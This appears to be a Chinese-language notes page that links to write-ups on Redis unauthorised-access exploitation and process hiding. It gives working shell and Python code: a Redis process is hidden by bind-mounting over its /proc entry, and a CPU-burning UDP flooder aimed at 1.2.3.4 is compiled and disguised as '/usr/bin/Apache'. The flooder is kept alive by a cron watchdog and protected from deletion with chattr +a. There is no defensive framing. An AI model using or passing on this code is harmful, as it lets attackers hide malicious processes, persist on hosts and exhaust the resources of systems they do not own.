1. # 批量杀掉名为Apache的进程
    2. ps -ef | grep -v grep | grep Apache | awk '{print $2}' | xargs kill -9

    redis未授权访问漏洞利用总结——linux篇 - 夜尽终会天明 - 博客园
    linuxStack/进程隐藏技术的攻与防-攻篇.md at master · g0dA/linuxStack · GitHub

    1. nohup /usr/bin/redis-server /etc/redis.conf >/dev/null 2>&1 &
    2. process="redis"
    3. PID=$(ps -ef | grep $process | grep -v grep | awk '{print $2}')
    4. mkdir .hidden >/dev/null 2>&1 &
    5. mount -o bind .hidden "/proc/${PID}"
    6. nohup /usr/bin/redis-server /etc/redis.conf >/dev/null 2>&1 &
    7. PID=$(ps -ef | grep $process | grep -v grep | awk '{print $2}')
    8. mkdir .hidden >/dev/null 2>&1 &
    9. mount -o bind .hidden "/proc/${PID}"
    10. if [ -n "$PID" ]; then
    11. echo "OK"
    12. else
    13. echo "NO"
    14. fi

    root用户无法删除的文件

    1. import multiprocessing
    2. import socket
    3. def send_traffic(ip, port):
    4. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    5. sock.connect((ip, port))
    6. while True:
    7. sock.send(b"")
    8. sum = 0
    9. for i in range(10000000):
    10. sum += i
    11. m = multiprocessing.cpu_count()
    12. for i in range(m):
    13. multiprocessing.Process(target=send_traffic, args=('1.2.3.4', 6666)).start()
    1. pyinstaller -F Apache.py # 生成linux可执行程序
    2. mv dist/Apache /usr/bin/
    3. vim /etc/rc.local.d/start.sh
    4. #!/bin/bash
    5. PID=$(ps -ef | grep "Apache" | grep -v "grep" | awk '{print $2}')
    6. if [ -n "$PID" ]; then
    7. echo "ok"
    8. else
    9. nohup /usr/bin/Apache >/dev/null 2>&1 &
    10. fi
    11. crontab -e
    12. * * * * * /etc/rc.local.d/start.sh
    13. chattr +a /usr/bin/Apache /etc/rc.local.d/start.sh
    1. vim /etc/rsyslog.d/50-default.conf
    2. cron前的注释去除